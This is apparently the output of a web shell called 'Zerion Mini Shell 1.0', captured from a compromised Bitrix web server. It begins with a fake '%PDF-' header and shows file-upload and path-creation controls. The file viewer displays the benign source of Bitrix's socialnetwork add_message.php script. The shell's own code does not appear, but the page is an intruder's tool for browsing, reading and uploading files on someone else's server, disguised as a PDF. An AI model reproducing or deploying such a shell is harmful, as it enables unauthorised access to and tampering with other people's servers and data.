%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/socialnetwork.messages_chat/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/components/bitrix/socialnetwork.messages_chat/add_message.php

<?
define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_STATISTIC", true);
define("NO_LANG_FILES", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$path = str_replace(array("\\", "//"), "/", dirname(__FILE__)."/lang/en/add_message.php");
@include_once($path);
$path = str_replace(array("\\", "//"), "/", dirname(__FILE__)."/lang/".LANGUAGE_ID."/add_message.php");
@include_once($path);

if(CModule::IncludeModule("compression"))
	Ccompress::Disable2048Spaces();

if (CModule::IncludeModule("socialnetwork"))
{
	$aUserId = array();
	if(is_array($_REQUEST["user_id"]))
	{
		foreach($_REQUEST["user_id"] as $id)
			if(intval($id) > 0)
				$aUserId[] = intval($id);
	}
	elseif(intval($_REQUEST["user_id"]) > 0)
		$aUserId[] = IntVal($_REQUEST["user_id"]);

	$aUserId = array_unique($aUserId);

	$mptr = Trim($_REQUEST["mptr"]);

	if (!$GLOBALS["USER"]->IsAuthorized())
	{
		echo "*";
	}
	else
	{
		if (!check_bitrix_sessid())
		{
			echo GetMessage("SONET_C50_ERR_PERMS").".";
		}
		else
		{
			$message = $_REQUEST["data"];
			CUtil::decodeURIComponent($message);
			$message = Trim($message);
			if (StrLen($message) <= 0)
			{
				echo GetMessage("SONET_C50_NO_TEXT").".";
			}
			else
			{
				if(empty($aUserId))
				{
					echo GetMessage("SONET_C50_NO_USER_ID").".";
				}
				else
				{
					foreach($aUserId as $userID)
					{
						if (!CSocNetUserPerms::CanPerformOperation($GLOBALS["USER"]->GetID(), $userID, "message", CSocNetUser::IsCurrentUserModuleAdmin(false)))
						{
							echo GetMessage("SONET_C50_CANT_WRITE").".";
						}
						else
						{
							$errorMessage = "";
							if (!CSocNetMessages::CreateMessage($GLOBALS["USER"]->GetID(), $userID, $message))
							{
								if ($e = $GLOBALS["APPLICATION"]->GetException())
									$errorMessage .= $e->GetString();
							}
							if (strlen($errorMessage) > 0)
								echo $errorMessage;
						}
					}
				}
			}
		}
	}
}
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>

Zerion Mini Shell 1.0